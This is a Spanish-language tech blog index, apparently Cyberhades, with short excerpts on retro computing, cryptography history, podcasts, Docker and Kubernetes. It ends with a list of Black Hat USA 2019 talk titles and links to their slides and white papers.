Resulta que Space Invaders no fue solo un éxito de nivel nacional en Japón, sino que fue un aspirador nacional de monedas de 100-yenes. Tanto, que según la leyenda, el estado tuvo que ponerse a acuñar más monedas para que las salas recreativas pudieran seguir funcionando.

Rompiendo el código enemigo con amor

En el Día de San Valentín celebramos a las parejas cuyo amor cambió el mundo. Pocas encarnan mejor esa idea que Elizebeth Smith Friedman y William F. Friedman, conocidos como la primera pareja del criptoanálisis en Estados Unidos.

Su matrimonio no fue solo romántico: fue intelectual, revolucionario y fundacional para el criptoanálisis moderno.

En 1916, Elizebeth Smith, una estudiante de literatura clásica, visitó la Biblioteca Newberry en Chicago para ver un ejemplar del First Folio de Shakespeare. Allí conoció a George Fabyan, quien la invitó a trabajar en Riverbank Laboratories, donde se investigaban supuestos códigos ocultos en las obras de Shakespeare.

Cyberhades Podcast 0x15

Vamos por un nuevo episodio cargado de tecnología, nostalgia y situaciones surrealistas ;) Arrancamos con una historia increíble sobre cómo un Tesla en modo autónomo logró salvar la vida de un conductor llevándolo directamente al hospital durante una emergencia cardíaca. Pero no todo es futuro brillante, analizamos la explosión de la IA en 2026, desde los nuevos modelos de Anthropic capaces de crear compiladores de C desde cero y encontrar cientos de vulnerabilidades críticas, hasta el curioso fenómeno del software de “usar y tirar”. Además, abordamos la crisis de seguridad de esta semana, con parches críticos para Apple y Microsoft frente a ataques de cualquier ciberdelincuente que intente aprovechar los recientes zero-days.

No eran mujeres, eran chips

El Commodore Amiga es recordado como uno de los ordenadores personales más audaces desde el punto de vista técnico de la década de los 80s. Sus capacidades gráficas y de sonido estaban años por delante de sus competidores, e influyeron en todo, desde los videojuegos hasta la producción musical y el arte digital.

En el corazón de la máquina había tres chips personalizados —Agnus, Denise y Paula— cuyos nombres han despertado durante décadas curiosidad, especulación y leyenda. ¿Por qué componentes de hardware tan críticos tenían nombres humanos? ¿Formaban parte de una estrategia deliberada de contrainteligencia o eran simplemente el resultado de la cultura de los ingenieros y de bromas internas?

Cyberhades Podcast 0x14

En este episodio nos sumergimos en un viaje fascinante que conecta la genialidad técnica del pasado con los dilemas éticos y tecnológicos de nuestro presente. Desde las asombrosas optimizaciones de Steve Wozniak en apenas 250 bytes hasta los mundos generativos de Google, exploramos cómo la “mentalidad hacker” sigue viva, ya sea restaurando un Amiga con una Raspberry Pi o debatiendo sobre la libertad de expresión en las redes sociales modernas.

Uso de la IA como terapeuta. El efecto ELIZA

A finales de la década de 1970, podías entrar en una tienda Radio Shack en casi cualquier centro comercial de EE.UU. sentarte frente a una pequeña computadora negra y plateada, y escribir sobre tus problemas.
Unos segundos después, la máquina respondía, a veces con suavidad, a veces con dureza y, en ocasiones, en voz alta.

Esa máquina era ELIZA de Radio Shack: una versión comercial y doméstica de uno de los programas más famosos en la historia de la “inteligencia artificial”.

El barco demoníaco de Nikola Tesla

En 1898, Nikola Tesla demostró el primer buque controlado por radio del mundo en la Exposición Eléctrica del Madison Square Garden en Nueva York. El dispositivo, que nombró “Teleautómata” (o luego conocido como “Autómata del Diablo”), representó un salto revolucionario en la tecnología inalámbrica y la automatización. La aparente capacidad “mágica” del barco para responder comandos sin conexiones visibles generó especulación, interés militar y en última instancia, décadas de litigio de patentes que no se resolvería hasta después de la muerte de Tesla.

Cyberhades Podcast

La falta de tiempo ha hecho que no hayamos publicado nada en el blog en mucho tiempo. Así que Fran (cybercaronte) y yo (tuxotron) hemos decidido retomar el blog de una forma diferente. La idea es compartir con vosotros las noticias más interesantes de la semana en formato audiovisual.

Los episodios son totalmente informales y sin ningún tipo de preparación previa o guión, como muy bien comentó Chema Alonso en su blog . Simplemente nos sentamos y hablamos de lo que nos resultó interesante de la semana. Actualmente publicamos los episodios en YouTube y en Spotify .

Reemplazando la bateria del AirTag

Desde que prácticamente Apple anunció los AirTags (son unos dispositivos de traceo del tamaño de una moneda de dos euros más o menos) los he estado usando. Los tengo en maletas de viaje, mochilas, llaveros, etc. Desafortunadamente como todo en la vida este tipo de dispositivos se puede usar para bien y para mal. El motivo de esta entrada no es hablar del uso ético de los AirTags, sino del reemplazo de su batería.

OpenExpo Europe décima edición, 18 de mayo: El …

Desde hace nueve años, Open Expo (organizado por MyPublic Inbox ) se ha consolidado como un hito en la divulgación de la Innovación Tecnológica, la Transformación Digital y el Open Source. Comenzó como un encuentro anual que reunía a más de 3.500 profesionales de todas las industrias tecnológicas, desde tomadores de decisiones, técnicos y expertos, hasta usuarios de todos los niveles. Su propósito: presentar las últimas tendencias, herramientas y servicios en innovación y tecnología, además de fomentar la expansión de las redes de contacto. A lo largo de este viaje, OpenExpo Europe ha evolucionado de manera constante, gracias a la dedicada comunidad de profesionales que forman parte de ella, impulsando actividades tanto offline como online para seguir difundiendo contenido tecnológico e innovador.

Docker Init

Una de las nuevas funcionalidades de la versión recién lanzada de Docker Desktop, 4.19.0, es la adición de un nuevo plugin llamado init.

Este plugin, aunque muy sencillo, es muy útil a la hora de arrancar un proyecto nuevo, ya que nos permite crear de forma muy rápida los tres ficheros básicos de Docker que son usado comúnmente en cualquier proyecto que, obviamente, use Docker. Estos ficheros son:

Kubernetes para profesionales

Entre pandemia, mudanza, familia, trabajo, etc. Dos años más tarde por fin vio la luz otro proyecto personal. Éste en forma de libro y sobre un tema que me apasiona: Kubernetes .

Kubernetes para profesionales. Desde cero al despliegue de aplicaciones seguras y resilientes se puso a la venta la semana pasada como ya publicó Chema en su blog . Este es un libro que empieza explicando los conceptos básicos de la plataforma. Kubernetes no es magia negra, aunque para muchos así lo sea, pero es una plataforma en la que es muy importante entender los conceptos básicos de la misma. El problema es que en los tiempos que corren, en el mundo del copia y pega, hemos perdido la paciencia y queremos usar las cosas sin leer “el manual de instrucciones” (RTFM!) o entender lo que hacemos. Por lo que es un libro para usuarios nuevos a la plataforma, así como los que ya la conocen.

Agenda: OpenExpo Europe 2022 llega el 30 de junio …

La novena edición de OpenExpo 2022 tendrá lugar el jueves 30 de junio de 2022 en La Nave Madrid (Calle Cifuentes, 5, 28021 Madrid) y será presencial de 9:00 a 22:00. OpenExpo es uno de los eventos más importantes a nivel empresarial líder en Innovación, Transformación Digital y Open Source. Temas como Machine Learning, Blockchain, Ciberseguridad, Web 3.0, etc, son sólo algunos de los temas que se tratarán en esta nueva edición.

Libro 'Manual de la Resilencia', de Alejandro …

Hoy día, y más aún amplificado por la pandemia que azota al planeta, cada vez es más importante la robustez de nuestros sistemas y arquitecturas informáticas, sea cual sea el modelo de negocio. La capacidad de restablecer los servicios después de algún incidente (también llamado “resilencia”) es posiblemente la clave de supervivencia de una organización o empresa. Por que recuerda, no tenemos que pensar en si nos ocurrirá unos de estos incidentes de seguridad, si no cuándo y cómo nos recuperaremos. Por este motivo, que libros como el que vamos a presentaros ahora, que se centran precisamente en la “Ciberresilencia”. Y si además es gratuito, en su versión digital, pues mucho mejor.

Mujeres hackers en ElevenPaths Radio

Durante nuestro paso por la RootedCON de este año 2020, mi compañero de batalla Fran Ramírez y un servidor no sólo tuvimos las oportunidad de dar una presentación, sino también tuvimos el privilegio de ser entrevistado por Gonzalo Álvarez Marañón , para la segunda temporada del podcast de ElevenPaths Radio , un crack donde los haya y para nosotros un gran orgullo poder ser entrevistados por alguien a quién admiramos.

Creando certificados X.509 caducados

Ayer hice una presentación sobre TLS para desarrolladores, bueno más bien un taller, y uno de los ejercicios consistía en ejecutar un servicio con un certificado caducado para hacer algunas pruebas.

Para ello tenía que crearme un certificado caducado, y yo que soy muy listo, me dije nada, cuando cree al certificado lo pongo el número de días de caducidad en negativo y listo. Así, si queremos crear un certificado que caducó hace 5 días:

Generador de imágenes Docker para infosec

Este es un proyecto que llevaba tiempo dándole vueltas con Fran y que por fin he encontrado algo de tiempo para dedicarle.

La idea es muy sencilla, básicamente es el crear una imagen Docker con ciertas herramientas sin tener que tener conocimientos de cómo crear una imagen Docker o de cómo instalar dichas herramientas.

Por ejemplo, supongamos que queremos lanzar sqlmap contra una aplicación web, y en ese momento no tenemos a mano nuestra querida Kali, y tampoco queremos buscar sqlmap e instalarla en nuestro sistema. Una forma muy conveniente y limpia sería ejecutarla desde de un contenedor Docker, y cuando terminemos nos deshacemos del contendor y listo. Nuestro sistema se queda “intacto”. Para esto, uno tendría que crear un fichero Dockerfile, añadir los comandos necesarios para instalar sqlmap, y por último construir la imagen Docker, o buscar una imagen ya creada con sqlmap y usar dicha imagen, etc.

asn-search, herramienta de reconocimiento

Uno de los pasos en la fase de reconocimiento o colección de datos sobre un objetivo, es averiguar que IPs están asociadas con el mismo. Para ello, una forma muy usada es buscar los ASN asociados a éste, y a partir de ahí usar alguna herramienta a la que le podamos pasar dicha información y nos de las IPs asociadas.

Una web que ofrece datos bastante precisos es Electric Hurricane . De ahí podemos sacar la lista de ASNs, volcarla a un fichero y luego mandar dicho fichero a alguna herramienta como nmap , amass , etc.

El país de la [des]conexión. Parte de lo que no se …

El pasado miércoles 6 de noviembre en La Sexta emitieron el tercer documental de la tercera temporada de Enviado Especial , en el que Jalis de la Serna nos lleva desde el norte de España hasta la costa oeste de los EEUU. En éste, Jalis se adentra en la “nube”, muestra el peligro del rastro de los datos que vamos dejando consciente e inconscientemente, pasa por un centro de desintoxicación tecnológica, se adentra en Microsoft, Google, y acaba hablando con Javier Marcos y su esposa.

Escribiendo plugins para kubectl

*Kubectl Plugin*

Como posiblemente ya sabrás kubectl es la herramienta de línea de comandos oficial para interactuar con Kubernetes . Desde ésta puedes hacer prácticamente cualquier cosa en Kubernetes siempre y cuando, obviamente, tengas permiso para ello. Además de todas las posibilidades que esta herramienta ofrece, también tienes la posibilidad de expandirla a través del sistema de plugins.

Un plugin para kubectl no es más que un fichero que cumpla las siguientes tres características:

Herramienta para entender cómo corren las …

*Octant*

Kubernetes es una plataforma, que ya trabajes en desarrollo, seguridad u operaciones, debes conocer porque en algún momento, no muy lejano, te tocará tratar con ella, sino lo haces ya.

Octant es una herramienta de VMWare que nos ofrece información en tiempo de real sobre un clúster de Kubernetes al que tengamos acceso. Su objetivo es que ésta sea parte del conjunto de herramientas del desarrollador, aunque evidentemente puede ser usada por cualquiera.

Cómo kubectl usa la API de Kubernetes

*kubectl Fuente: https://blog.risingstack.com/what-is-kubernetes-how-to-get-started/*

Como ya sabes, y si no lo sabes te lo cuento ahora, en Kubernetes , cualquier tipo de consulta o comando se lleva a cabo a través de llamadas a la API del mismo. El componente encargado de recibir y procesar dichas peticiones se llama: API Server. Este componente se encuentra en el nodo o nodos maestros del cluster.

*Fuente: https://blog.openshift.com/kubernetes-deep-dive-api-server-part-1/*

Mi compañero y amigo Cybercaronte y yo ya hemos publicado varios artículos relacionados con Kubernetes, en los cuales si has leído, sabrás que existe una herramienta con la que podemos intereactuar con nuestro clúster desde la línea de comandos: kubectl. Aunque existen interfaces gráficas, la forma más común y usada es a través de dicha herramienta.

Material Black Hat USA 2019

*Black Hat 2019*

Ya podemos disfrutar también del material de muchas de las presentaciones de Black Hat USA 2019 :

• Every Security Team is a Software Team Now
• Detecting Deep Fakes with Mice
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Williams-Detecting-Deep-Fakes-With-Mice.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Williams-Detecting-Deep-Fakes-With-Mice-wp.pdf )
• Bypassing the Maginot Line: Remotely Exploit the Hardware Decoder on Smartphone
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Gong-Bypassing-The-Maginot-Line-Remotely-Exploit-The-Hardware-Decoder-On-Smartphone.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Gong-Bypassing-The-Maginot-Line-Remotely-Exploit-The-Hardware-Decoder-On-Smartphone-wp.pdf )
• A Decade After Bleichenbacher '06, RSA Signature Forgery Still Works
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Chau-A-Decade-After-Bleichenbacher-06-RSA-Signature-Forgery-Still-Works.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Chau-A-Decade-After-Bleichenbacher-06-RSA-Signature-Forgery-Still-Works-wp.pdf )
• ClickOnce and You're in - When Appref-ms Abuse is Operating as Intended
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Burke-ClickOnce-And-Youre-In-When-Appref-Ms-Abuse-Is-Operating-As-Intended-wp.pdf )
• Legal GNSS Spoofing and its Effects on Autonomous Vehicles
• Biometric Authentication Under Threat: Liveness Detection Hacking
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Chen-Biometric-Authentication-Under-Threat-Liveness-Detection-Hacking.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Chen-Biometric-Authentication-Under-Threat-Liveness-Detection-Hacking-wp.pdf )
• Battle of Windows Service: A Silver Bullet to Discover File Privilege Escalation Bugs Automatically
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Wu-Battle-Of-Windows-Service-A-Silver-Bullet-To-Discover-File-Privilege-Escalation-Bugs-Automatically.pdf )
• SSO Wars: The Token Menace
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Munoz-SSO-Wars-The-Token-Menace.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Munoz-SSO-Wars-The-Token-Menace-wp.pdf )
• Monsters in the Middleboxes: Building Tools for Detecting HTTPS Interception
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Valenta-Monsters-In-The-Middleboxes-Building-Tools-For-Detecting-HTTPS-Interception.pdf )
• Exploiting the Hyper-V IDE Emulator to Escape the Virtual Machine
• Hacking for the Greater Good: Empowering Technologists to Strengthen Digital Society
• Dragonblood: Attacking the Dragonfly Handshake of WPA3
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Vanhoef-Dragonblood-Attacking-The-Dragonfly-Handshake-Of-WPA3.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Vanhoef-Dragonblood-Attacking-The-Dragonfly-Handshake-Of-WPA3-wp.pdf )
• The Most Secure Browser? Pwning Chrome from 2016 to 2019
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Feng-The-Most-Secure-Browser-Pwning-Chrome-From-2016-To-2019.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Feng-The-Most-Secure-Browser-Pwning-Chrome-From-2016-To-2019-wp.pdf )
• Attacking and Defending the Microsoft Cloud (Office 365 & Azure AD)
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Metcalf-Attacking-And-Defending-The-Microsoft-Cloud.pdf )
• PicoDMA: DMA Attacks at Your Fingertips
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Sandin-PicoDMA-DMA-Attacks-At-Your-Fingertips.pdf )
• APIC’s Adventures in Wonderland
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Matula-APICs-Adventures-In-Wonderland.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Matula-APICs-Adventures-In-Wonderland-wp.pdf )
  • [Download Tool] ( https://www.ernw.de/download/om/blackhat/us-19-Matula-Block-APICs-Adventures-In-Wonderland-Exploits.zip )
• Behind the Scenes: The Industry of Social Media Manipulation Driven by Malware
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Paquet-Clouston-Behind-The-Scenes-The-Industry-Of-Social-Media-Manipulation-Driven-By-Malware.pdf )
• Attacking Electric Motors for Fun and Profit
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Jablonski-Attacking-Electric-Motors-For-Fun-And-Profit.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Jablonski-Attacking-Electric-Motors-For-Fun-And-Profit-wp.pdf )
• Sensor and Process Fingerprinting in Industrial Control Systems
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Ochoa-Sensor-And-Process-Fingerprinting-In-ICS.pdf )
• HTTP Desync Attacks: Smashing into the Cell Next Door
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Kettle-HTTP-Desync-Attacks-Smashing-Into-The-Cell-Next-Door.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Kettle-HTTP-Desync-Attacks-Smashing-Into-The-Cell-Next-Door-wp.pdf )
  • [Download Tool] ( https://github.com/portswigger/desynchronize )
• Behind the Scenes of Intel Security and Manageability Engine
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Hasarfaty-Behind-The-Scenes-Of-Intel-Security-And-Manageability-Engine.pdf )
• All the 4G Modules Could be Hacked
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Shupeng-All-The-4G-Modules-Could-Be-Hacked.pdf )
• New Vulnerabilities in 5G Networks
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Shaik-New-Vulnerabilities-In-5G-Networks.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Shaik-New-Vulnerabilities-In-5G-Networks-wp.pdf )
• I’m Unique, Just Like You: Human Side-Channels and Their Implications for Security and Privacy
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Wixey-Im-Unique-Just-Like-You-Human-Side-Channels-And-Their-Implications-For-Security-And-Privacy.pdf )
• It’s Not What You Know, It’s What You Do: How Data Can Shape Security Engagement
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Sedova-Know-How-Data-Can-Shape-Security-Engagement.pdf )
• Cyber Insurance 101 for CISO’s
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Smith-Cyber-Insurance-101-For-CISOs.pdf )
• The Path Less Traveled: Abusing Kubernetes Defaults
• Selling 0-Days to Governments and Offensive Security Companies
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Shwartz-Selling-0-Days-To-Governments-And-Offensive-Security-Companies.pdf )
• Selling 0-Days to Governments and Offensive Security Companies
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Shwartz-Selling-0-Days-To-Governments-And-Offensive-Security-Companies.pdf )
• Infiltrating Corporate Intranet Like NSA - Pre-auth RCE on Leading SSL VPNs
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Tsai-Infiltrating-Corporate-Intranet-Like-NSA.pdf )
• Integration of Cyber Insurance Into A Risk Management Program
• Come Join the CAFSA - Continuous Automated Firmware Security Analysis
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Mulliner-Come-Join-The-CAFSA-Continuous-Automated-Firmware-Security-Analysis.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Mulliner-Come-Join-The-CAFSA-Continuous-Automated-Firmware-Security-Analysis-wp.pdf )
• Worm Charming: Harvesting Malware Lures for Fun and Profit
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Amini-Worm-Charming-Harvesting-Malware-Lures-For-Fun-And-Profit.pdf )
• MITRE ATT&CK: The Play at Home Edition
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Nickels-MITRE-ATTACK-The-Play-At-Home-Edition.pdf )
• Look, No Hands! – The Remote, Interaction-less Attack Surface of the iPhone
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Silvanovich-Look-No-Hands-The-Remote-Interactionless-Attack-Surface-Of-The-iPhone.pdf )
• Chip.Fail - Glitching the Silicon of the Connected World
• Lessons From Two Years of Crypto Audits
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Aumasson-Lessons-From-Two-Years-Of-Crypto-Audits.pdf )
• Responding to a Cyber Attack with Missiles
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Hypponen-Responding-To-A-Cyber-Attack-With-Missiles.pdf )
• Finding a Needle in an Encrypted Haystack: Leveraging Cryptographic Abilities to Detect the Most Prevalent Attacks on Active Directory
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Simakov-Finding-A-Needle-In-An-Encrypted-Haystack-Leveraging-Cryptographic-Abilities-To-Detect-The-Most-Prevalent-Attacks-On-Active-Directory.pdf )
• Controlled Chaos: The Inevitable Marriage of DevOps & Security
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Shortridge-Controlled-Chaos-The-Inevitable-Marriage-Of-DevOps-And-Security.pdf )
• Arm IDA and Cross Check: Reversing the Boeing 787's Core Network
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Santamarta-Arm-IDA-And-Cross-Check-Reversing-The-787-Core-Network.pdf )
• The Cyber Shell Game – War, Information Warfare, and the Darkening Web
• He Said, She Said – Poisoned RDP Offense and Defense
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Baril-He-Said-She-Said-Poisoned-RDP-Offense-And-Defense.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Baril-He-Said-She-Said-Poisoned-RDP-Offense-And-Defense-wp.pdf )
• How Do Cyber Insurers View The World?
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Prevost-How-Insurers-View-The-World.pdf )
• Internet-Scale Analysis of AWS Cognito Security
• Messaging Layer Security: Towards a New Era of Secure Group Messaging
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Robert-Messaging-Layer-Security-Towards-A-New-Era-Of-Secure-Group-Messaging.pdf )
• Hacking Your Non-Compete
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Stone-Hacking-Your-Non-Compete.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Stone-Hacking-Your-Non-Compete-wp.pdf )
• Hunting for Bugs, Catching Dragons
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Joly-Hunting-For-Bugs-Catching-Dragons.pdf )
• Flying a False Flag: Advanced C2, Trust Conflicts, and Domain Takeover
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Landers-Flying-A-False-Flag-Advanced-C2-Trust-Conflicts-And-Domain-Takeover.pdf )
• Going Beyond Coverage-Guided Fuzzing with Structured Fuzzing
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Metzman-Going-Beyond-Coverage-Guided-Fuzzing-With-Structured-Fuzzing.pdf )
• Transparency in the Software Supply Chain: Making SBOM a Reality
• Deconstructing the Phishing Campaigns that Target Gmail Users
• Cybersecurity Risk Assessment for Safety-Critical Systems
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Vessels-Cybersecurity-Risk-Assessment-For-Safety-Critical-Systems.pdf )
• PeriScope: An Effective Probing and Fuzzing Framework for the Hardware-OS Boundary
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Song-PeriScope-An-Effective-Probing-and-Fuzzing-Framework-For-The-Hardware-OS-Boundary.pdf )
• Defense Against Rapidly Morphing DDOS
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Tyagi-Defense-Against-Rapidly-Morphing-DDOS.pdf )
• Reverse Engineering WhatsApp Encryption for Chat Manipulation and More
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Zaikin-Reverse-Engineering-WhatsApp-Encryption-For-Chat-Manipulation-And-More.pdf )
• Detecting Malicious Files with YARA Rules as They Traverse the Network
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-Bernal-Detecting-Malicious-Files-With-YARA-Rules-As-They-Traverse-The-Network.pdf )
• MINimum Failure - Stealing Bitcoins with Electromagnetic Fault Injection
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Wednesday/us-19-OFlynn-MINimum-Failure-Stealing-Bitcoins-With-EMFI.pdf )
  • [Download Tool] (github.com/newaetech/phywhisperer-usb)
• Mobile Interconnect Threats: How Next-Gen Products May be Already Outdated
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Teissier-Mobile-Interconnect-Threats-How-Next-Gen-Products-May-Be-Already-Outdated.pdf )
• On Trust: Stories from the Front Lines
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Farshchi-On-Trust-Stories-From-The-Front-Lines.pdf )
• WebAuthn 101 - Demystifying WebAuthn
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Brand-WebAuthn-101-Demystifying-WebAuthn.pdf )
• Attack Surface as a Service
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Westelius-Attack-Surface-As-A-Service.pdf )
• Woke Hiring Won’t Save Us: An Actionable Approach to Diversity Hiring and Retention
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Lynch-Woke-Hhiring-Wont-Save-Us-An-Actionable-Approach-To-Diversity-Hiring-And-Retention.pdf )
• GDPArrrrr: Using Privacy Laws to Steal Identities
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Pavur-GDPArrrrr-Using-Privacy-Laws-To-Steal-Identities.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Pavur-GDPArrrrr-Using-Privacy-Laws-To-Steal-Identities-wp.pdf )
• The Future of Securing Intelligent Electronic Devices Using the IEC 62351-7 Standard for Monitoring
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Carcano-The-Future-Of-Securing-IED-Using-The-IEC62351-7-Standard-For-Monitoring.pdf )
• Testing Your Organization's Social Media Awareness
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Wilkin-Testing-Your-Organizations-Social-Media-Awareness.pdf )
• Death to the IOC: What's Next in Threat Intelligence
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Soman-Death-To-The-IOC-Whats-Next-In-Threat-Intelligence.pdf )
• Planning a Bug Bounty: The Nuts and Bolts from Concept to Launch
• Playing Offense and Defense with Deepfakes
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Price-Playing-Offense-And-Defense-With-Deepfakes.pdf )
• All Your Apple are Belong to Us: Unique Identification and Cross-Device Tracking of Apple Devices
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Zheng-All-Your-Apple-Are-Belong-To-Us-Unique-Identification-And-Cross-Device-Tracking-Of-Apple-Devices.pdf )
• The Enemy Within: Modern Supply Chain Attacks
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Doerr-The-Enemy-Within-Modern-Supply-Chain-Attacks.pdf )
• Information Security in the Public Interest
• Breaking Through Another Side: Bypassing Firmware Security Boundaries from Embedded Controller
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Matrosov-Breaking-Through-Another-Side-Bypassing-Firmware-Security-Boundaries-From-Embedded-Controller.pdf )
• Project Zero: Five Years of 'Make 0Day Hard'
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Hawkes-Project-Zero-Five-Years-Of-Make-0day-Hard.pdf )
• Rough and Ready: Frameworks to Measure Persistent Engagement and Deterrence
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Healey-Rough-and-Ready-Frameworks-To-Measure-Persistent-Engagment-and-Deterrence.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Healey-Rough-and-Ready-Frameworks-to-Measure-Persistent-Engagement-and-Deterrence-wp.pdf )
• 100 Seconds of Solitude: Defeating Cisco Trust Anchor With FPGA Bitstream Shenanigans
• Denial of Service with a Fistful of Packets: Exploiting Algorithmic Complexity Vulnerabilities
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Hauke-Denial-Of-Service-With-A-Fistful-Of-Packets-Exploiting-Algorithmic-Complexity-Vulnerabilities.pdf )
• Women in Security: Building a Female InfoSec Community in Korea, Japan, and Taiwan
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Nakajima-Women-In-Security-Building-A-Female-InfoSec-Community-In-Korea-Japan-And-Taiwan.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Nakajima-Women-In-Security-Building-A-Female-InfoSec-Community-In-Korea-Japan-And-Taiwan-wp.pdf )
• Rogue7: Rogue Engineering-Station Attacks on S7 Simatic PLCs
  • [Download Presentation Slides] ( http://i.blackhat.com/USA-19/Thursday/us-19-Bitan-Rogue7-Rogue-Engineering-Station-Attacks-On-S7-Simatic-PLCs.pdf )
  • [Download White Paper] ( http://i.blackhat.com/USA-19/Thursday/us-19-Bitan-Rogue7-Rogue-Engineering-Station-Attacks-On-S7-Simatic-PLCs-wp.pdf )
• Operational Templates for State-Level Attack and Collective Defense of Countries
